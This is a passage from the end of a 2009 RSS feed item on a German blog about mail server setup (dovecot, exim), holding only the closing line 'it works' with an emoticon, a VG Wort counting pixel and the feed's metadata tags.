&lt;p&gt;Und siehe da: es tut. &lt;img src=&quot;https://netz-rettung-recht.de/plugins/serendipity_event_emoticate/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; class=&quot;emoticon&quot; /&gt;&lt;/p&gt;
&lt;img src=&quot;https://ssl-vg03.met.vgwort.de/na/2b5c5674db064b96aee560f19e2beecb&quot; width=&quot;1&quot; height=&quot;1&quot; alt=&quot;&quot;&gt; 
    </content:encoded>

    <pubDate>Sun, 08 Nov 2009 21:04:00 +0000</pubDate>
    <guid isPermaLink="false">https://netz-rettung-recht.de/archives/1475-guid.html</guid>
    <category>dovecot</category>
<category>e-mail</category>
<category>exim</category>

</item>

</channel>
</rss>
